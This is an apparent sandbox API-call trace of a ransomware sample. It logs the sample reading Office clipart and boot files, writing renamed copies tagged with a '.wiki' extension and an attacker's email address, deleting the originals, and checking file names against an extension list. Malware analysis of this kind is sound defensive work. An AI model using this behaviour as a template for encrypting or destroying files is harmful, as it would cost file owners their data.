GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0065.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0065.445] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.445] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0065.445] GetLastError () returned 0x0 [0065.445] ReadFile (in: hFile=0x218, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x2458, lpOverlapped=0x0) returned 1 [0065.447] WriteFile (in: hFile=0x220, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x2460, lpOverlapped=0x0) returned 1 [0065.448] ReadFile (in: hFile=0x218, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.448] WriteFile (in: hFile=0x220, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.448] SetEndOfFile (hFile=0x220) returned 1 [0065.448] CloseHandle (hObject=0x220) returned 1 [0065.448] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.448] SetEndOfFile (hFile=0x218) returned 1 [0065.449] CloseHandle (hObject=0x218) returned 1 [0065.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0065.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0065.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0065.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0065.449] lstrlenW (lpString=".doc") returned 4 [0065.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.449] lstrlenW (lpString=".docx") returned 5 [0065.450] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.450] lstrlenW (lpString=".pdf") returned 4 [0065.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.450] lstrlenW (lpString=".xls") returned 4 [0065.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.450] lstrlenW (lpString=".xlsx") returned 5 [0065.450] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.450] lstrlenW (lpString=".ppt") returned 4 [0065.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0065.450] lstrlenW (lpString=".zip") returned 4 [0065.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.450] lstrlenW (lpString=".rar") returned 4 [0065.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.450] lstrlenW (lpString=".bz2") returned 4 [0065.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.450] lstrlenW (lpString=".7z") returned 3 [0065.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0065.450] lstrlenW (lpString=".dbf") returned 4 [0065.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0065.450] lstrlenW (lpString=".1cd") returned 4 [0065.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0065.450] lstrlenW (lpString=".jpg") returned 4 [0065.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0065.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0065.450] lstrlenW (lpString=".doc") returned 4 [0065.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.450] lstrlenW (lpString=".docx") returned 5 [0065.450] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.450] lstrlenW (lpString=".pdf") returned 4 [0065.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.450] lstrlenW (lpString=".xls") returned 4 [0065.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.451] lstrlenW (lpString=".xlsx") returned 5 [0065.451] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.451] lstrlenW (lpString=".ppt") returned 4 [0065.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0065.451] lstrlenW (lpString=".zip") returned 4 [0065.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.451] lstrlenW (lpString=".rar") returned 4 [0065.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.451] lstrlenW (lpString=".bz2") returned 4 [0065.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.451] lstrlenW (lpString=".7z") returned 3 [0065.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0065.451] lstrlenW (lpString=".dbf") returned 4 [0065.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0065.451] lstrlenW (lpString=".1cd") returned 4 [0065.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0065.451] lstrlenW (lpString=".jpg") returned 4 [0065.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.451] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0065.451] lstrlenW (lpString="BL00242_.WMF") returned 12 [0065.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0065.452] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=4024) returned 1 [0065.452] CloseHandle (hObject=0x218) returned 1 [0065.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x20 [0065.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0065.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0065.452] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.452] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0065.452] GetLastError () returned 0x0 [0065.452] ReadFile (in: hFile=0x218, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0xfb8, lpOverlapped=0x0) returned 1 [0065.454] WriteFile (in: hFile=0x220, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xfc0, lpOverlapped=0x0) returned 1 [0065.455] ReadFile (in: hFile=0x218, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.455] WriteFile (in: hFile=0x220, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.455] SetEndOfFile (hFile=0x220) returned 1 [0065.455] CloseHandle (hObject=0x220) returned 1 [0065.455] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.455] SetEndOfFile (hFile=0x218) returned 1 [0065.456] CloseHandle (hObject=0x218) returned 1 [0065.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0065.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0065.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0065.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0065.456] lstrlenW (lpString=".doc") returned 4 [0065.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.457] lstrlenW (lpString=".docx") returned 5 [0065.457] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.457] lstrlenW (lpString=".pdf") returned 4 [0065.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.457] lstrlenW (lpString=".xls") returned 4 [0065.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.457] lstrlenW (lpString=".xlsx") returned 5 [0065.457] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.457] lstrlenW (lpString=".ppt") returned 4 [0065.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0065.457] lstrlenW (lpString=".zip") returned 4 [0065.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.457] lstrlenW (lpString=".rar") returned 4 [0065.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.457] lstrlenW (lpString=".bz2") returned 4 [0065.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.457] lstrlenW (lpString=".7z") returned 3 [0065.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0065.457] lstrlenW (lpString=".dbf") returned 4 [0065.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0065.457] lstrlenW (lpString=".1cd") returned 4 [0065.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0065.457] lstrlenW (lpString=".jpg") returned 4 [0065.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0065.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0065.457] lstrlenW (lpString=".doc") returned 4 [0065.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.457] lstrlenW (lpString=".docx") returned 5 [0065.457] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.457] lstrlenW (lpString=".pdf") returned 4 [0065.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.457] lstrlenW (lpString=".xls") returned 4 [0065.458] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.458] lstrlenW (lpString=".xlsx") returned 5 [0065.458] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.458] lstrlenW (lpString=".ppt") returned 4 [0065.458] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0065.458] lstrlenW (lpString=".zip") returned 4 [0065.458] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.458] lstrlenW (lpString=".rar") returned 4 [0065.458] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.458] lstrlenW (lpString=".bz2") returned 4 [0065.458] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.458] lstrlenW (lpString=".7z") returned 3 [0065.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0065.458] lstrlenW (lpString=".dbf") returned 4 [0065.458] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0065.458] lstrlenW (lpString=".1cd") returned 4 [0065.458] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0065.458] lstrlenW (lpString=".jpg") returned 4 [0065.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.458] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0065.458] lstrlenW (lpString="BL00247_.WMF") returned 12 [0065.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0066.239] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=14444) returned 1 [0066.239] CloseHandle (hObject=0x22c) returned 1 [0066.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x20 [0066.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0066.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0066.239] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.239] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0066.239] GetLastError () returned 0x0 [0066.239] ReadFile (hFile=0x22c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0) Thread: id = 14 os_tid = 0xab0 [0042.862] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10000) returned 0x760520 [0042.862] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10000) returned 0x770528 [0042.862] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710340 [0042.862] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x6) returned 0x6fa3b0 [0042.862] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710358 [0042.862] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x100000) returned 0x3760020 [0042.863] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710370 [0042.863] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x710370, Size=0x20) returned 0x73f958 [0042.863] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710370 [0042.863] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x710370, Size=0x20) returned 0x73f930 [0042.863] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0042.863] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0042.863] Wow64DisableWow64FsRedirection (in: OldValue=0x2c4ff58 | out: OldValue=0x2c4ff58*=0x0) returned 1 [0042.863] lstrlenW (lpString="kernel32.dll") returned 12 [0042.863] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x73f958 | out: hHeap=0x6c0000) returned 1 [0042.863] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0042.863] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x73f930 | out: hHeap=0x6c0000) returned 1 [0042.863] Sleep (dwMilliseconds=0x64) [0043.127] lstrlenW (lpString="BCD") returned 3 [0043.127] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.127] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0043.127] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0043.127] lstrlenW (lpString=".doc") returned 4 [0043.127] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0043.127] lstrlenW (lpString=".docx") returned 5 [0043.127] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0043.127] lstrlenW (lpString=".pdf") returned 4 [0043.127] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0043.127] lstrlenW (lpString=".xls") returned 4 [0043.127] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0043.127] lstrlenW (lpString=".xlsx") returned 5 [0043.127] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0043.128] lstrlenW (lpString=".ppt") returned 4 [0043.128] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0043.128] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0043.128] lstrlenW (lpString=".zip") returned 4 [0043.128] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0043.128] lstrlenW (lpString=".rar") returned 4 [0043.128] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0043.128] lstrlenW (lpString=".bz2") returned 4 [0043.128] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0043.128] lstrlenW (lpString=".7z") returned 3 [0043.128] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0043.128] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0043.128] lstrlenW (lpString=".dbf") returned 4 [0043.128] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0043.128] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0043.128] lstrlenW (lpString=".1cd") returned 4 [0043.128] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0043.128] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0043.128] lstrlenW (lpString=".jpg") returned 4 [0043.128] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0043.128] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0043.128] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0043.128] lstrlenW (lpString=".doc") returned 4 [0043.128] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0043.128] lstrlenW (lpString=".docx") returned 5 [0043.128] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0043.128] lstrlenW (lpString=".pdf") returned 4 [0043.128] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0043.128] lstrlenW (lpString=".xls") returned 4 [0043.128] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0043.128] lstrlenW (lpString=".xlsx") returned 5 [0043.128] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0043.128] lstrlenW (lpString=".ppt") returned 4 [0043.128] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0043.128] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0043.129] lstrlenW (lpString=".zip") returned 4 [0043.129] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0043.129] lstrlenW (lpString=".rar") returned 4 [0043.129] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0043.129] lstrlenW (lpString=".bz2") returned 4 [0043.129] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0043.129] lstrlenW (lpString=".7z") returned 3 [0043.129] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0043.129] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0043.129] lstrlenW (lpString=".dbf") returned 4 [0043.129] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0043.129] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0043.129] lstrlenW (lpString=".1cd") returned 4 [0043.129] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0043.129] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0043.129] lstrlenW (lpString=".jpg") returned 4 [0043.129] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0043.129] lstrcmpiW (lpString1=".LOG1", lpString2=".wiki") returned -1 [0043.129] lstrlenW (lpString="BCD.LOG1") returned 8 [0043.129] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0043.181] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=0) returned 1 [0043.181] CloseHandle (hObject=0x164) returned 1 [0043.181] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0043.181] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0043.181] lstrlenW (lpString=".doc") returned 4 [0043.181] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0043.181] lstrlenW (lpString=".docx") returned 5 [0043.181] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0043.181] lstrlenW (lpString=".pdf") returned 4 [0043.181] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0043.181] lstrlenW (lpString=".xls") returned 4 [0043.181] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0043.181] lstrlenW (lpString=".xlsx") returned 5 [0043.181] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0043.181] lstrlenW (lpString=".ppt") returned 4 [0043.181] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0043.181] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0043.181] lstrlenW (lpString=".zip") returned 4 [0043.182] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0043.182] lstrlenW (lpString=".rar") returned 4 [0043.182] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0043.182] lstrlenW (lpString=".bz2") returned 4 [0043.182] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0043.182] lstrlenW (lpString=".7z") returned 3 [0043.182] lstrcmpiW (lpString1=".7z", 